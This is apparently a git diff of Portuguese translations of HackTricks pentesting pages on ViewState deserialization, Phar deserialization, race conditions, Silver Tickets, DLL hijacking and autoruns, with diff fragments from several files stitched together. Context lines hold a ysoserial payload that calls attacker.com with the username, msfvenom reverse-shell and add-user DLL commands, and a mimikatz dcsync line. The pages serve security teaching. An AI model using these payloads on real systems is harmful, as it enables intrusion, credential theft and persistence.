<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -8,11 +8,11 @@
|
|||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -20,7 +20,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
## O que é ViewState
|
||||
|
||||
**ViewState** é o método que o framework ASP.NET usa por padrão para p**reservar valores de página e controle entre páginas da web**. Quando o HTML da página é renderizado, o estado atual da página e os valores que precisam ser mantidos durante o postback são serializados em strings codificadas em base64 e exibidos no campo oculto ViewState ou campos.\
|
||||
**ViewState** é o método que o framework ASP.NET usa por padrão para p**reservar valores de página e controle entre páginas da web**. Quando o HTML da página é renderizado, o estado atual da página e os valores que precisam ser mantidos durante o postback são serializados em strings codificadas em base64 e exibidos no campo oculto ViewState ou nos campos.\
|
||||
As seguintes propriedades ou combinação de propriedades se aplicam às informações do ViewState:
|
||||
|
||||
* Base64
|
||||
|
@ -108,6 +108,8 @@ Para buscar viewstates vulneráveis em escala, em conjunto com a enumeração de
|
|||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
|
||||
|
||||
Se você tiver sorte e encontrar a chave, você pode prosseguir com o ataque usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
@ -199,7 +201,7 @@ solicitação fora de banda com o nome de usuário atual
|
|||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_).
|
||||
|
||||
|
|
|
@ -12,13 +12,13 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
Arquivos **Phar** (PHP Archive) contêm **metadados em formato serializado**, então, quando analisados, esses **metadados** são **desserializados** e você pode tentar abusar de uma vulnerabilidade de **desserialização** dentro do código **PHP**.
|
||||
Arquivos **Phar** (PHP Archive) contêm metadados em formato serializado, então, quando analisados, esses metadados são desserializados e você pode tentar abusar de uma vulnerabilidade de **desserialização** dentro do código **PHP**.
|
||||
|
||||
A melhor coisa sobre essa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não avaliam código PHP, como **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
|
||||
|
||||
|
@ -85,7 +85,7 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ Acesse hoje mesmo:
|
|||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o repositório** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -47,12 +47,12 @@ Em seguida, **prepare-se para enviar os quadros finais**:
|
|||
Por fim, envie os quadros retidos. Você deve ser capaz de verificar que eles chegaram em um único pacote usando o Wireshark.
|
||||
|
||||
{% hint style="info" %}
|
||||
Observe que isso **não funciona para arquivos estáticos** em determinados servidores, mas como os arquivos estáticos não são relevantes para ataques de condição de corrida, eles são irrelevantes para ataques de CC.
|
||||
Observe que isso **não funciona para arquivos estáticos** em determinados servidores, mas como os arquivos estáticos não são relevantes para ataques de condição de corrida. Mas arquivos estáticos são irrelevantes para ataques de CC.
|
||||
{% endhint %}
|
||||
|
||||
Usando essa técnica, você pode fazer com que 20-30 solicitações cheguem ao servidor simultaneamente - independentemente da variação de rede:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Adaptando à arquitetura do alvo**
|
||||
|
||||
|
@ -69,13 +69,13 @@ Alguns frameworks tentam evitar a corrupção acidental de dados usando algum ti
|
|||
|
||||
Se o aquecimento da conexão não faz diferença, existem várias soluções para esse problema.
|
||||
|
||||
Usando o Turbo Intruder, você pode introduzir um pequeno atraso no lado do cliente. No entanto, como isso envolve dividir suas solicitações de ataque reais em vários pacotes TCP, você não poderá usar a técnica de ataque de um único pacote. Como resultado, em alvos com alta variação de latência, o ataque provavelmente não funcionará de forma confiável, independentemente do atraso definido.
|
||||
Usando o Turbo Intruder, você pode introduzir um pequeno atraso do lado do cliente. No entanto, como isso envolve dividir suas solicitações de ataque reais em vários pacotes TCP, você não poderá usar a técnica de ataque de um único pacote. Como resultado, em alvos com alta variação de latência, o ataque provavelmente não funcionará de forma confiável, independentemente do atraso definido.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Em vez disso, você pode resolver esse problema abusando de um recurso de segurança comum.
|
||||
|
||||
Servidores web frequentemente **atrasam o processamento de solicitações se muitas forem enviadas rapidamente**. Ao enviar um grande número de solicitações falsas para acionar intencionalmente o limite de taxa ou recurso, você pode causar um atraso adequado no lado do servidor. Isso torna o ataque de um único pacote viável mesmo quando a execução atrasada é necessária.
|
||||
Servidores da web frequentemente **atrasam o processamento de solicitações se muitas forem enviadas rapidamente**. Ao enviar um grande número de solicitações falsas para acionar intencionalmente o limite de taxa ou recurso, você pode causar um atraso adequado do lado do servidor. Isso torna o ataque de um único pacote viável mesmo quando a execução atrasada é necessária.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -136,7 +136,7 @@ engine.openGate(currentAttempt)
|
|||
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você pode **adicionar solicitações extras entre** ambas as solicitações.
|
||||
* Para um RC de **vários endpoints**, você pode começar enviando a **solicitação** que **vai para o estado oculto** e, em seguida, **50 solicitações** logo após isso que **exploram o estado oculto**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Raw BF
|
||||
|
||||
|
@ -165,17 +165,21 @@ table.add(req)
|
|||
```
|
||||
* **Python - asyncio**
|
||||
|
||||
A biblioteca `asyncio` do Python fornece suporte para programação assíncrona, permitindo que você escreva código concorrente e escalável de forma mais eficiente. Com `asyncio`, você pode lidar com tarefas assíncronas, como chamadas de rede, de forma mais eficiente, evitando bloqueios desnecessários.
|
||||
A biblioteca `asyncio` do Python é uma biblioteca assíncrona que permite escrever código concorrente usando a sintaxe `async/await`. Ela é especialmente útil para lidar com operações de I/O intensivas, como chamadas de rede, onde o tempo de espera pode ser melhor aproveitado para executar outras tarefas.
|
||||
|
||||
A programação assíncrona é particularmente útil ao lidar com condições de corrida em aplicativos da web. Uma condição de corrida ocorre quando duas ou mais operações concorrentes tentam acessar ou modificar um recurso compartilhado ao mesmo tempo, resultando em comportamento imprevisível ou incorreto.
|
||||
A programação assíncrona é baseada em corrotinas, que são funções que podem ser pausadas e retomadas posteriormente. Isso permite que várias tarefas sejam executadas de forma concorrente, sem bloquear a execução do programa.
|
||||
|
||||
Ao usar `asyncio`, você pode evitar condições de corrida implementando mecanismos de sincronização adequados, como semáforos ou bloqueios. Esses mecanismos garantem que apenas uma tarefa possa acessar o recurso compartilhado em um determinado momento, evitando assim conflitos.
|
||||
A biblioteca `asyncio` fornece várias ferramentas para lidar com tarefas assíncronas, como loops de eventos, tarefas e futuros. O loop de eventos é responsável por executar as corrotinas e gerenciar as chamadas de retorno. As tarefas representam as corrotinas em execução e os futuros são objetos que representam o resultado de uma operação assíncrona.
|
||||
|
||||
Para lidar com condições de corrida em aplicativos da web, é importante identificar os pontos críticos onde as operações concorrentes podem ocorrer. Em seguida, você pode usar as primitivas de sincronização do `asyncio` para garantir que essas operações sejam executadas de forma segura e correta.
|
||||
Para aproveitar ao máximo a biblioteca `asyncio`, é importante entender os conceitos básicos, como corrotinas, loops de eventos, tarefas e futuros. Além disso, é necessário conhecer as diferentes APIs disponíveis para lidar com operações assíncronas, como chamadas de rede e acesso a bancos de dados.
|
||||
|
||||
Ao escrever código assíncrono com `asyncio`, é importante ter em mente a natureza concorrente das operações. Certifique-se de que seu código seja thread-safe e evite compartilhar dados mutáveis entre tarefas, a menos que seja absolutamente necessário.
|
||||
A programação assíncrona pode melhorar significativamente o desempenho de um programa, permitindo que várias tarefas sejam executadas em paralelo. No entanto, também pode introduzir novos desafios, como condições de corrida, onde duas ou mais tarefas competem para acessar ou modificar os mesmos recursos ao mesmo tempo.
|
||||
|
||||
Com a biblioteca `asyncio`, você pode aproveitar ao máximo a programação assíncrona em Python, lidando de forma eficiente com condições de corrida em aplicativos da web.
|
||||
As condições de corrida podem levar a resultados inesperados ou incorretos, como valores inconsistentes ou erros de acesso. Para evitar condições de corrida, é importante usar mecanismos de sincronização, como bloqueios ou semáforos, para garantir que apenas uma tarefa possa acessar um recurso compartilhado por vez.
|
||||
|
||||
No entanto, mesmo com mecanismos de sincronização, as condições de corrida ainda podem ocorrer se não forem tratadas corretamente. Portanto, é importante estar ciente dessas situações e tomar as medidas adequadas para evitá-las.
|
||||
|
||||
Em resumo, a biblioteca `asyncio` do Python é uma poderosa ferramenta para lidar com programação assíncrona. No entanto, é importante entender os conceitos básicos e estar ciente das condições de corrida para escrever código robusto e livre de erros.
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
@ -241,7 +245,7 @@ Operações que editam dados existentes (como alterar o endereço de e-mail prin
|
|||
|
||||
A maioria dos pontos finais opera em um registro específico, que é procurado usando uma 'chave', como um nome de usuário, token de redefinição de senha ou nome de arquivo. Para um ataque bem-sucedido, precisamos de duas operações que usem a mesma chave. Por exemplo, imagine duas implementações plausíveis de redefinição de senha:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Investigar pistas**
|
||||
|
||||
|
@ -259,7 +263,7 @@ Quando você envia um lote de solicitações, pode descobrir que um par de solic
|
|||
|
||||
Um exemplo disso é quando **carimbos de data/hora de alta resolução são usados em vez de strings aleatórias criptograficamente** seguras para gerar tokens de segurança.
|
||||
|
||||
Considere um **token de redefinição de senha que é randomizado apenas usando um carimbo de data/hora**. Nesse caso, pode ser possível **acionar duas redefinições de senha para dois usuários diferentes**, que ambos usam o **mesmo token**. Tudo o que você precisa fazer é cronometrar as solicitações para que elas gerem o mesmo carimbo de data/hora.
|
||||
Considere um **token de redefinição de senha que é apenas randomizado usando um carimbo de data/hora**. Nesse caso, pode ser possível **acionar duas redefinições de senha para dois usuários diferentes**, que ambos usam o **mesmo token**. Tudo o que você precisa fazer é cronometrar as solicitações para que elas gerem o mesmo carimbo de data/hora.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Para confirmar, por exemplo, a situação anterior, você pode simplesmente solicitar **2 tokens de redefinição de senha ao mesmo tempo** (usando um ataque de pacote único) e verificar se eles são **iguais**.
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
|
||||
|
@ -24,7 +24,7 @@ O ataque Silver ticket é baseado em **criar um TGS válido para um serviço uma
|
|||
|
||||
Neste caso, o **hash NTLM de uma conta de computador** (que é uma espécie de conta de usuário no AD) é **obtido**. Portanto, é possível **criar** um **ticket** para **entrar nessa máquina** com privilégios de **administrador** através do serviço SMB. As contas de computador redefinem suas senhas a cada 30 dias por padrão.
|
||||
|
||||
Também deve ser levado em consideração que é possível E **RECOMENDADO** (opsec) **forjar tickets usando as chaves AES Kerberos (AES128 e AES256)**. Para saber como gerar uma chave AES, leia: [seção 4.4 do MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) ou o [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
|
||||
Também deve ser levado em consideração que é possível E **PREFERÍVEL** (opsec) **forjar tickets usando as chaves AES Kerberos (AES128 e AES256)**. Para saber como gerar uma chave AES, leia: [seção 4.4 do MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) ou o [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
|
||||
|
||||
{% code title="Linux" %}
|
||||
```bash
|
||||
|
@ -156,7 +156,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -20,9 +20,9 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
## Definição
|
||||
|
||||
Primeiro de tudo, vamos entender a definição. O Dll hijacking é, no sentido mais amplo, **enganar um aplicativo legítimo/confiável para carregar uma DLL arbitrária**. Termos como _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ e _DLL Side-Loading_ são frequentemente - erroneamente - usados para dizer a mesma coisa.
|
||||
Primeiro de tudo, vamos entender a definição. O DLL hijacking é, no sentido mais amplo, **enganar um aplicativo legítimo/confiável para carregar um DLL arbitrário**. Termos como _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ e _DLL Side-Loading_ são frequentemente - erroneamente - usados para dizer a mesma coisa.
|
||||
|
||||
O Dll hijacking pode ser usado para **executar** código, obter **persistência** e **elevar privilégios**. Dos três, o **menos provável** de encontrar é a **elevação de privilégios** de longe. No entanto, como isso faz parte da seção de elevação de privilégios, vou focar nessa opção. Além disso, observe que, independentemente do objetivo, um dll hijacking é realizado da mesma maneira.
|
||||
O DLL hijacking pode ser usado para **executar** código, obter **persistência** e **elevar privilégios**. Dos três, o **menos provável** de encontrar é a **elevação de privilégios** de longe. No entanto, como isso faz parte da seção de elevação de privilégios, vou focar nessa opção. Além disso, observe que, independentemente do objetivo, um DLL hijacking é realizado da mesma maneira.
|
||||
|
||||
### Tipos
|
||||
|
||||
|
@ -33,7 +33,7 @@ Existem **várias abordagens** para escolher, com o sucesso dependendo de como o
|
|||
3. **Hijacking de DLL fantasma**: colocar uma DLL maliciosa no lugar de uma DLL ausente/inexistente que um aplicativo legítimo tenta carregar \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)].
|
||||
4. **Redirecionamento de DLL**: alterar o local em que a DLL é procurada, por exemplo, editando a variável de ambiente `%PATH%`, ou arquivos `.exe.manifest` / `.exe.local` para incluir a pasta que contém a DLL maliciosa \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)].
|
||||
5. **Substituição de DLL WinSxS**: substituir a DLL legítima pela DLL maliciosa na pasta WinSxS relevante da DLL alvo. Frequentemente referido como DLL side-loading \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)].
|
||||
6. **Hijacking de DLL de caminho relativo**: copiar (e opcionalmente renomear) o aplicativo legítimo para uma pasta gravável pelo usuário, ao lado da DLL maliciosa. Da maneira como é usado, tem semelhanças com a Execução de Proxy Binário (Assinado) \[[8](https://attack.mitre.org/techniques/T1218/)]. Uma variação disso é chamada de 'traga seu próprio LOLbin' \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)], que traz o aplicativo legítimo com a DLL maliciosa (em vez de copiá-lo da localização legítima na máquina da vítima).
|
||||
6. **Hijacking de DLL de caminho relativo**: copiar (e opcionalmente renomear) o aplicativo legítimo para uma pasta gravável pelo usuário, ao lado da DLL maliciosa. Da maneira como isso é usado, tem semelhanças com a Execução de Proxy Binário (Assinado) \[[8](https://attack.mitre.org/techniques/T1218/)]. Uma variação disso é chamada de 'traga seu próprio LOLbin' \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)], que é um tanto oximorônico, em que o aplicativo legítimo é trazido com a DLL maliciosa (em vez de copiado da localização legítima na máquina da vítima).
|
||||
|
||||
## Encontrando Dlls ausentes
|
||||
|
||||
|
@ -141,7 +141,7 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
|
|||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Criar um usuário (não encontrei uma versão x64):**
|
||||
**Criar um usuário (x86 Não vi uma versão x64):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
|
@ -228,7 +228,7 @@ break;
|
|||
return TRUE;
|
||||
}
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -238,7 +238,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
# Escalada de Privilégios com Autoruns
|
||||
# Escalando Privilégios com Autoruns
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -160,10 +160,10 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
|
|||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
|
||||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
|
||||
|
||||
Qualquer atalho criado para a localização apontada pela subchave Inicialização irá iniciar o serviço durante o login/reinicialização. A localização de inicialização é especificada tanto na Máquina Local quanto no Usuário Atual.
|
||||
Qualquer atalho criado para o local apontado pela subchave Inicialização irá iniciar o serviço durante o login/reinicialização. A localização de inicialização é especificada tanto na Máquina Local quanto no Usuário Atual.
|
||||
|
||||
{% hint style="info" %}
|
||||
Se você puder sobrescrever qualquer Pasta de Shell \[Usuário] sob **HKLM**, você poderá apontá-la para uma pasta controlada por você e colocar um backdoor que será executado sempre que um usuário fizer login no sistema, escalando privilégios.
|
||||
Se você puder sobrescrever qualquer Pasta Shell \[Usuário] em **HKLM**, você poderá apontá-la para uma pasta controlada por você e colocar um backdoor que será executado sempre que um usuário fizer login no sistema, escalando privilégios.
|
||||
{% endhint %}
|
||||
```bash
|
||||
